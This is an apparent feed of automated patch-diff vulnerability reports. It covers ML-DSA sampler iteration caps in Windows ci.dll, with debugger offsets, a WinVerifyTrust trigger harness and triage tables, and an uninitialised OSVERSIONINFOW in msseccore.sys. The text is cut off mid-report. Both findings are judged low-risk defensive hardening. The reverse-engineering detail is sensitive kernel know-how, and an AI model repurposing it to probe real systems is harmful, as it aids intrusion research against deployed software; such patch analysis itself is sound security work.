&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = arg1 ctx; &lt;strong&gt;&lt;code&gt;byte ptr [rcx+0x18]&lt;/code&gt;&lt;/strong&gt; = &lt;code&gt;tau&lt;/code&gt; → drives &lt;code&gt;i&lt;/code&gt;. &lt;code&gt;rdx&lt;/code&gt; = attacker &lt;code&gt;c~&lt;/code&gt; seed (dump with &lt;code&gt;db rdx L100&lt;/code&gt;). &lt;code&gt;r8&lt;/code&gt; = seed length. &lt;code&gt;r9&lt;/code&gt; = output challenge poly (&lt;code&gt;dd r9 L100&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ci+0x2A092&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt; = &lt;code&gt;tau&lt;/code&gt;; &lt;strong&gt;&lt;code&gt;ebx&lt;/code&gt;&lt;/strong&gt; = resulting &lt;code&gt;i&lt;/code&gt;. Confirm &lt;code&gt;i &amp;lt; 0x100&lt;/code&gt; so the loop is entered.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ci+0x2A0A6&lt;/code&gt; (loop head)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ebx&lt;/code&gt; = &lt;code&gt;i&lt;/code&gt; (advances once per accepted coefficient). &lt;code&gt;rdi&lt;/code&gt; = current output ptr. &lt;strong&gt;&lt;code&gt;byte ptr [rsp+0x20]&lt;/code&gt;&lt;/strong&gt; = last byte squeezed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ci+0x2A0B6&lt;/code&gt; (call)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = SHAKE256 sponge at &lt;code&gt;[rsp+0x30]&lt;/code&gt;. &lt;code&gt;rdx&lt;/code&gt; = scratch byte at &lt;code&gt;[rsp+0x20]&lt;/code&gt;. &lt;code&gt;r8&lt;/code&gt; = 1.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ci+0x2A0C2&lt;/code&gt; (jump)&lt;/td&gt;
&lt;td&gt;Compare &lt;code&gt;eax&lt;/code&gt; (byte just squeezed) vs &lt;code&gt;ebx&lt;/code&gt;. If &lt;code&gt;eax &amp;gt; ebx&lt;/code&gt;, the byte is rejected and re-squeezed; in practice this happens only a few times per index.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ci!SymCryptKeccakExtract&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Each squeeze re-permutes the sponge and returns a fresh byte; the byte source is the sponge, not an attacker buffer, so there is no over-read.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Useful watchpoints:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ba w4 &amp;lt;addr_of_ebx_spill&amp;gt;    ; track i advancement (advances once per accepted coefficient)
ba r1 &amp;lt;addr_of_scratch_byte&amp;gt; ; track each byte squeezed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A083&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;loads &lt;code&gt;ctx[0x18]&lt;/code&gt; — &lt;code&gt;tau&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A092&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;computes &lt;code&gt;i = 0x100 - tau&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A096&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;bounds check &lt;code&gt;i &amp;gt;= 0x100&lt;/code&gt; → skip loop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A0A6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;inner-loop head — patched build inserts &lt;code&gt;cmp edi, 0x79&lt;/code&gt; here&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A0B6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call SymCryptKeccakExtract&lt;/code&gt; — SHAKE256 byte squeeze&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A0C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp eax, ebx&lt;/code&gt; — reject test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A0C2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ja 0x18002A0A6&lt;/code&gt; — reject backward jump (uncapped in unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18002A0FE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;outer loop continuation &lt;code&gt;cmp ebx, 0x100&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;From a user-mode test harness on the same machine, open an ML-DSA-signed PE/catalog with &lt;code&gt;WinVerifyTrust&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WINTRUST_FILE_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fi&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;signed.bin&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;WINTRUST_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wtd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wtd&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwUIChoice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WTD_UI_NONE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fdwRevocationChecks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WTD_REVOKE_NONE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwUnionChoice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WTD_CHOICE_FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;fi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;WinVerifyTrust&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HWND_INVALID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINTRUST_ACTION_GENERIC_VERIFY_V2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;wtd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, map the file as an image or trigger driver/catalog verification via &lt;code&gt;SetupVerifyInfFile&lt;/code&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The kernel-side breakpoint at &lt;code&gt;ci!SymCryptMlDsaSampleInBall&lt;/code&gt; fires when CI's ML-DSA verify path samples the challenge.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Single-step through &lt;code&gt;0x18002A0A6&lt;/code&gt; and count the reject &lt;code&gt;ja&lt;/code&gt; at &lt;code&gt;0x18002A0C2&lt;/code&gt; per index; it fires only a few times before &lt;code&gt;ebx&lt;/code&gt; advances.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Normal termination:&lt;/strong&gt; &lt;code&gt;ci+0x2A0A6&lt;/code&gt; fires a small number of times per index; &lt;code&gt;ebx&lt;/code&gt; advances once each accepted coefficient, &lt;code&gt;tau&lt;/code&gt; times total. No reachable input freezes &lt;code&gt;ebx&lt;/code&gt; or triggers a watchdog bugcheck.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched binary:&lt;/strong&gt; the &lt;code&gt;cmp edi, 0x79&lt;/code&gt; cap and &lt;code&gt;0x8008&lt;/code&gt; path are present at &lt;code&gt;0x1800274A1&lt;/code&gt; / &lt;code&gt;0x180027502&lt;/code&gt; but are not exercised by any reachable input; they engage only against a non-terminating or misbehaving sponge, after which &lt;code&gt;SymCryptMlDsaVerifyEx&lt;/code&gt; / &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; propagate the error up the chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ci!SymCryptMlDsaSampleInBall arguments (Win64 ABI):
  rcx (arg1)  : ML-DSA context (also held in rsi inside)
                [arg1 + 0x18] = uint8_t  tau (nonzero-coefficient count)
  rdx (arg2)  : c~ seed pointer (absorbed by SymCryptKeccakAppend)
  r8  (arg3)  : c~ seed length
  r9  (arg4)  : output challenge polynomial, 0x400 bytes / 256 int32 coefficients

Stack layout (frame base after prologue):
  [rsp + 0x20] : scratch byte buffer for each squeeze
  [rsp + 0x30] : SHAKE256 sponge state, 0xF0 bytes (init by SymCryptWipeAsm / SymCryptKeccakAppend)
  [rbp + 0x20] : 8-byte sign-bit reservoir squeezed from the stream
  [rbp + 0x28] : __security_cookie xor rsp

Verify path (SymCryptMlDsaVerify sub_180020E24 -&amp;gt; SymCryptMlDsaVerifyEx sub_180020E68):
  the c~ seed and its length are taken from the attacker-supplied signature blob
  and passed to arg2/arg3 of SymCryptMlDsaSampleInBall verbatim.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.763&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds per-index iteration cap (&lt;code&gt;&amp;gt;= 0x79&lt;/code&gt;) and error return &lt;code&gt;0x8008&lt;/code&gt; in the challenge-sampling reject loop. Defense-in-depth (not attacker-reachable; see Finding #1).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;changed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds iteration cap (&lt;code&gt;&amp;gt;= 0x12A&lt;/code&gt;) and error &lt;code&gt;0x8008&lt;/code&gt; to the uniform-&lt;code&gt;A&lt;/code&gt; rejection loop keyed on &lt;code&gt;rho&lt;/code&gt;. Same defense-in-depth pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;changed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds iteration cap (&lt;code&gt;&amp;gt;= 0x1E1&lt;/code&gt;) and error &lt;code&gt;0x8008&lt;/code&gt; to the &lt;code&gt;[-eta,eta]&lt;/code&gt; rejection loop. Same defense-in-depth pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaExpandS (sub_180029184)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.716&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Checks the return value of &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt; and propagates the error from both &lt;code&gt;s1&lt;/code&gt;/&lt;code&gt;s2&lt;/code&gt; loops. Companion to the caps above.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaExpandA (sub_180028FE4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;changed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Checks the return value of &lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt; and propagates the error from the matrix-expansion loop. Companion to the caps above.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaVerifyEx (sub_180020E68)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.497&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Now checks the return value of &lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; and aborts verification on the &lt;code&gt;0x8008&lt;/code&gt; error instead of continuing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SymCryptMlDsaSignEx (sub_18002097C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.524&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hardening&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Signing counterpart; now checks the &lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; return (&lt;code&gt;r15d = 0x8008&lt;/code&gt; path) and aborts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CipApplySiPolicyEx (sub_1800DC2D4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.795&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;603-instruction CI policy evaluator; adds &lt;code&gt;sub_180018ED8&lt;/code&gt; feature gate, switches offsets between &lt;code&gt;0x930&lt;/code&gt; and &lt;code&gt;0x9A0&lt;/code&gt; for policy objects, revises &lt;code&gt;runFullTrust&lt;/code&gt; capability check. Not exploit-relevant but indicates a policy revision.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CiInstrumentSignatureFailuresForWNC (sub_180060828)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.823&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;CI policy verification logging; retargeted helpers, new feature-gated branch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CiValidateImageHeader (sub_18005B880)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.134&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Refactor from 1273 lines down to 55; logic moved into &lt;code&gt;sub_18001975C&lt;/code&gt;, &lt;code&gt;sub_180019704&lt;/code&gt;, &lt;code&gt;sub_18006F7EC&lt;/code&gt;. No security impact apparent.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The remaining changed entries (not enumerated individually) are dominated by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Compiler/register-allocation drift induced by the patched routines above (cascading into call graphs).&lt;/li&gt;
&lt;li&gt;Helper renames in CI logging paths (&lt;code&gt;sub_1800958EC → sub_18009B13C&lt;/code&gt;, etc.).&lt;/li&gt;
&lt;li&gt;Routine CFG / EH-table regeneration from build-to-build.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of these remaining changes appear to introduce or remove bounds checks, sanitizers, or capability gates.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Removed&lt;/th&gt;
&lt;th&gt;Added&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The patch is a pure in-place modification — no helper was deleted and no new sanitizer was added as a separate function. All fixes live inside the existing ML-DSA sampling and expansion routines.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High that the change is real and correctly characterized as defense-in-depth; High that it is not an attacker-reachable DoS.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The change is &lt;strong&gt;unambiguous&lt;/strong&gt; in the assembly: in the unpatched build a reject &lt;code&gt;ja&lt;/code&gt; returns to &lt;code&gt;xor r9d, r9d&lt;/code&gt; with no counter in between; the patched build adds the &lt;code&gt;cmp edi, 0x79 / jnb cleanup&lt;/code&gt; block, and the two sibling samplers receive the analogous &lt;code&gt;0x12A&lt;/code&gt; and &lt;code&gt;0x1E1&lt;/code&gt; caps, each returning &lt;code&gt;0x8008&lt;/code&gt;. Direction is correct (patched is stricter).&lt;/li&gt;
&lt;li&gt;The error-propagation changes in &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaVerifyEx&lt;/code&gt;, and &lt;code&gt;SymCryptMlDsaSignEx&lt;/code&gt; are companions to the caps: the new &lt;code&gt;0x8008&lt;/code&gt; status is now checked by every caller.&lt;/li&gt;
&lt;li&gt;The reachability that would make this a denial of service does not hold. The loops test SHAKE256 sponge output, not attacker bytes; the attacker controls only the seed (&lt;code&gt;c~&lt;/code&gt; / &lt;code&gt;rho&lt;/code&gt;) and cannot bias the output. &lt;code&gt;tau&lt;/code&gt; is a static per-parameter-set constant. The per-squeeze rejection probability is at most &lt;code&gt;~0.23&lt;/code&gt;, so reaching even the new cap at a single index has probability on the order of &lt;code&gt;10^-77&lt;/code&gt;; no feasible offline search produces a seed that makes the loop run long. The caps are therefore defense-in-depth against a non-terminating or misbehaving sponge, and the cap values are generous upper bounds rather than a boundary an attacker can push a stream across.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verification notes:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The call chain &lt;code&gt;SymCryptMlDsaVerify (sub_180020E24) → SymCryptMlDsaVerifyEx (sub_180020E68, call at 0x180020E4F) → SymCryptMlDsaSampleInBall (sub_180029FE8, call at 0x180020FBB)&lt;/code&gt; is present, and &lt;code&gt;c~&lt;/code&gt; from the signature does drive the seed. What is absent is any way to turn that into a long-running loop.&lt;/li&gt;
&lt;li&gt;Compare patched vs. unpatched side-by-side: the only security-relevant deltas are the three sampler caps and the four caller error-propagation changes; all are consistent with a single defense-in-depth hardening pass over the ML-DSA sampler family.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>msseccore.sys — Uninitialized OSVERSIONINFOW zeroed before RtlGetVersion in DriverEntry (CWE-908), fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/msseccore_33ca946f-msseccore-report-20260626-042118.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/msseccore_33ca946f-msseccore-report-20260626-042118.html</id><summary type="html">&lt;p&gt;KB5073724&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;msseccore_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;msseccore_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9011&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 43 matched functions, 32 identical functions, 11 changed functions, 0 unmatched functions in both directions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch introduces a defense-in-depth zero-initialization of a stack &lt;code&gt;OSVERSIONINFOW&lt;/code&gt; structure (CWE-908) in &lt;code&gt;DriverEntry&lt;/code&gt;, while the remaining changes are compiler code-generation differences (&lt;code&gt;memset&lt;/code&gt; folded into inline SSE zeroing, register reallocation), a CRT &lt;code&gt;memmove&lt;/code&gt; rewrite, a pool-type constant change in a fallback allocation path, and a notification class constant update.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of Uninitialized Resource (CWE-908)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;DriverEntry&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause &amp;amp; Exploitability:&lt;/strong&gt;
The unpatched &lt;code&gt;DriverEntry&lt;/code&gt; function allocates an &lt;code&gt;OSVERSIONINFOW&lt;/code&gt; structure on the kernel stack. It sets only the first 4 bytes (&lt;code&gt;dwOSVersionInfoSize&lt;/code&gt; = &lt;code&gt;0x114&lt;/code&gt;) before passing the structure to &lt;code&gt;RtlGetVersion()&lt;/code&gt;; the remaining &lt;code&gt;0x110&lt;/code&gt; bytes (including the 256-byte &lt;code&gt;szCSDVersion&lt;/code&gt; wide-string field at structure offset &lt;code&gt;0x14&lt;/code&gt;) are left uninitialized. The patched binary adds an explicit &lt;code&gt;memset&lt;/code&gt; that zeroes those &lt;code&gt;0x110&lt;/code&gt; bytes before the call.&lt;/p&gt;
&lt;p&gt;This is a defense-in-depth zero-initialization. The practical impact is minimal: the structure is a local stack variable that never leaves &lt;code&gt;DriverEntry&lt;/code&gt;, only &lt;code&gt;dwMajorVersion&lt;/code&gt;/&lt;code&gt;dwMinorVersion&lt;/code&gt; are read after the call, and the structure is not copied to any lower-privilege context, returned to a caller, or written to shared state. &lt;code&gt;RtlGetVersion&lt;/code&gt; on this build fully populates the structure and returns &lt;code&gt;STATUS_SUCCESS&lt;/code&gt;, so no residual-data information-disclosure path is demonstrated. The change eliminates reliance on the API to overwrite every field.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Call Chain:&lt;/strong&gt;
1. The vulnerability is triggered automatically during system boot or driver initialization. No direct attacker input is required to trigger the uninitialized memory condition.
2. &lt;code&gt;DriverEntry&lt;/code&gt; (module entry point)
3. &lt;code&gt;RtlGetVersion&lt;/code&gt; (target of the uninitialized pointer argument)&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED DriverEntry&lt;/span&gt;
&lt;span class="n"&gt;OSVERSIONINFOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Stack-allocated&lt;/span&gt;
&lt;span class="c1"&gt;// MISSING: Zero-initialization of the structure&lt;/span&gt;
&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dwOSVersionInfoSize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x114&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Only 4 bytes are explicitly set&lt;/span&gt;

&lt;span class="c1"&gt;// Passes structure with 0x110 bytes of uninitialized stack data&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlGetVersion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... uses versionInformation.dwMajorVersion etc.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ------------------------------------------------------------------&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED DriverEntry&lt;/span&gt;
&lt;span class="n"&gt;OSVERSIONINFOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;versionInformation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
